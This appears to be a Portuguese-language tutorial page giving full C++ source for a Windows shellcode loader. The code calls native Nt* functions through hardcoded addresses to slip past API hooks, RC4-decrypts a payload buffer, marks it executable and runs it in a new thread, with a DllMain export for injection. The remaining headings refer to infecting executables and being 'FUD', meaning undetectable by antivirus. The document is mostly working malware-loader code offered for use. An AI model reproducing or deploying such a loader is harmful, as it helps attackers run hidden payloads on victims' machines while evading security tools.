Loader
Código
#include <windows.h>
#include <iostream>
// Definições necessárias para a API não documentada do Windows
typedef struct _CLIENT_ID {
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
#define InitializeObjectAttributes(p, n, a, r, s) { \
(p)->Length = sizeof(OBJECT_ATTRIBUTES); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
// Definição dos ponteiros de função
typedef NTSTATUS(NTAPI* NtOpenProcess_t)(
PHANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PCLIENT_ID ClientId
);
typedef NTSTATUS(NTAPI* NtAllocateVirtualMemory_t)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
typedef NTSTATUS(NTAPI* NtWriteVirtualMemory_t)(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
SIZE_T BufferSize,
PSIZE_T NumberOfBytesWritten
);
typedef NTSTATUS(NTAPI* NtProtectVirtualMemory_t)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
PSIZE_T RegionSize,
ULONG NewProtect,
PULONG OldProtect
);
typedef NTSTATUS(NTAPI* NtCreateThreadEx_t)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
PVOID ObjectAttributes,
HANDLE ProcessHandle,
PVOID StartRoutine,
PVOID Argument,
ULONG CreateFlags,
ULONG_PTR ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
PVOID AttributeList
);
typedef NTSTATUS(NTAPI* NtWaitForSingleObject_t)(
HANDLE Handle,
BOOLEAN Alertable,
PLARGE_INTEGER Timeout
);
typedef NTSTATUS(NTAPI* NtFreeVirtualMemory_t)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
PSIZE_T RegionSize,
ULONG FreeType
);
typedef NTSTATUS(NTAPI* NtClose_t)(
HANDLE Handle
);
// Endereços
constexpr uintptr_t addr_NtOpenProcess = 0x00007FFC4962DA10;
constexpr uintptr_t addr_NtAllocateVirtualMemory = 0x00007FFC4962D850;
constexpr uintptr_t addr_NtWriteVirtualMemory = 0x00007FFC4962DC90;
constexpr uintptr_t addr_NtProtectVirtualMemory = 0x00007FFC4962DF50;
constexpr uintptr_t addr_NtCreateThreadEx = 0x00007FFC4962ED80;
constexpr uintptr_t addr_NtWaitForSingleObject = 0x00007FFC4962D5D0;
constexpr uintptr_t addr_NtFreeVirtualMemory = 0x00007FFC4962D910;
constexpr uintptr_t addr_NtClose = 0x00007FFC4962D730;
// Convertendo endereços para funções
NtOpenProcess_t NtOpenProcess = reinterpret_cast<NtOpenProcess_t>(addr_NtOpenProcess);
NtAllocateVirtualMemory_t NtAllocateVirtualMemory = reinterpret_cast<NtAllocateVirtualMemory_t>(addr_NtAllocateVirtualMemory);
NtWriteVirtualMemory_t NtWriteVirtualMemory = reinterpret_cast<NtWriteVirtualMemory_t>(addr_NtWriteVirtualMemory);
NtProtectVirtualMemory_t NtProtectVirtualMemory = reinterpret_cast<NtProtectVirtualMemory_t>(addr_NtProtectVirtualMemory);
NtCreateThreadEx_t NtCreateThreadEx = reinterpret_cast<NtCreateThreadEx_t>(addr_NtCreateThreadEx);
NtWaitForSingleObject_t NtWaitForSingleObject = reinterpret_cast<NtWaitForSingleObject_t>(addr_NtWaitForSingleObject);
NtFreeVirtualMemory_t NtFreeVirtualMemory = reinterpret_cast<NtFreeVirtualMemory_t>(addr_NtFreeVirtualMemory);
NtClose_t NtClose = reinterpret_cast<NtClose_t>(addr_NtClose);
typedef struct _USTRING {
ULONG Length;
ULONG MaximumLength;
PWSTR Buffer;
} USTRING;
typedef LONG NTSTATUS;
typedef NTSTATUS(NTAPI* fnSystemFunction032)(
USTRING* Img,
USTRING* Key
);
BOOL RC4DEC(IN PBYTE pRc4Key, IN PBYTE pPayloadData, IN DWORD dwRc4KeySize, IN DWORD sPayloadSize) {
NTSTATUS STATUS;
USTRING Key = { dwRc4KeySize, dwRc4KeySize, reinterpret_cast<PWSTR>(pRc4Key) };
USTRING Img = { sPayloadSize, sPayloadSize, reinterpret_cast<PWSTR>(pPayloadData) };
char a_dll_name[] = "Advapi32.dll";
char NotSysFunc32[] = "SystemFunction032";
fnSystemFunction032 SystemFunction032 = (fnSystemFunction032)GetProcAddress(LoadLibraryA(a_dll_name), NotSysFunc32);
STATUS = SystemFunction032(&Img, &Key);
if (STATUS != 0x0) {
return FALSE;
}
return TRUE;
}
int main() {
HANDLE processHandle;
CLIENT_ID clientId;
clientId.UniqueProcess = reinterpret_cast<HANDLE>(GetCurrentProcessId());
clientId.UniqueThread = 0;
OBJECT_ATTRIBUTES objAttr;
InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL);
NTSTATUS status = NtOpenProcess(&processHandle, PROCESS_ALL_ACCESS, &objAttr, &clientId);
if (status != 0) {
std::cerr << "NtOpenProcess failed: " << std::hex << status << std::endl;
return 1;
}
PVOID baseAddress = NULL;
SIZE_T regionSize = 1;
status = NtAllocateVirtualMemory(processHandle, &baseAddress, 0, ®ionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (status != 0) {
std::cerr << "NtAllocateVirtualMemory failed: " << std::hex << status << std::endl;
NtClose(processHandle);
return 1;
}
unsigned char shellcode[] = {
0x00, 0x00, 0x0, 0x00, 0x00, 0x00, 0x00, 0x00
};
unsigned char Key[] = {
0x00, 0x00, 0x0, 0x00, 0x00, 0x00, 0x00, 0x00
};
DWORD SIZEKEY = sizeof(Key);
DWORD SIZEPAY = sizeof(shellcode);
SIZE_T writtenBytes = 0;
status = NtWriteVirtualMemory(processHandle, baseAddress, shellcode, sizeof(shellcode), &writtenBytes);
if (status != 0) {
std::cerr << "NtWriteVirtualMemory failed: " << std::hex << status << std::endl;
NtFreeVirtualMemory(processHandle, &baseAddress, ®ionSize, MEM_RELEASE);
NtClose(processHandle);
return 1;
}
BOOL DECRYPT = RC4DEC(Key, static_cast<PBYTE>(baseAddress), SIZEKEY, SIZEPAY);
ULONG oldProtect = 0;
status = NtProtectVirtualMemory(processHandle, &baseAddress, ®ionSize, PAGE_EXECUTE_READ, &oldProtect);
if (status != 0) {
std::cerr << "NtProtectVirtualMemory failed: " << std::hex << status << std::endl;
NtFreeVirtualMemory(processHandle, &baseAddress, ®ionSize, MEM_RELEASE);
NtClose(processHandle);
return 1;
}
HANDLE threadHandle;
status = NtCreateThreadEx(&threadHandle, THREAD_ALL_ACCESS, NULL, processHandle, baseAddress, NULL, 0, 0, 0, 0, NULL);
if (status != 0) {
std::cerr << "NtCreateThreadEx failed: " << std::hex << status << std::endl;
NtFreeVirtualMemory(processHandle, &baseAddress, ®ionSize, MEM_RELEASE);
NtClose(processHandle);
return 1;
}
status = NtWaitForSingleObject(threadHandle, FALSE, NULL);
if (status != 0) {
std::cerr << "NtWaitForSingleObject failed: " << std::hex << status << std::endl;
}
NtClose(threadHandle);
NtFreeVirtualMemory(processHandle, &baseAddress, ®ionSize, MEM_RELEASE);
NtClose(processHandle);
return 0;
}
#ifdef _WINDLL
extern "C" __declspec(dllexport) bool __stdcall DllMain(HINSTANCE H_instance, unsigned long rsn) {
DisableThreadLibraryCalls(H_instance);
switch (rsn)
{
case DLL_PROCESS_ATTACH:
{
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)main, 0, 0, 0);
} break;
}
return true;
}
#endif
Explicando brevemente
Adicionando metadados

Endereços das APIs

Infectando executável

Testando loader

Loader Simples

Testando nosso loader

FUD?

Last updated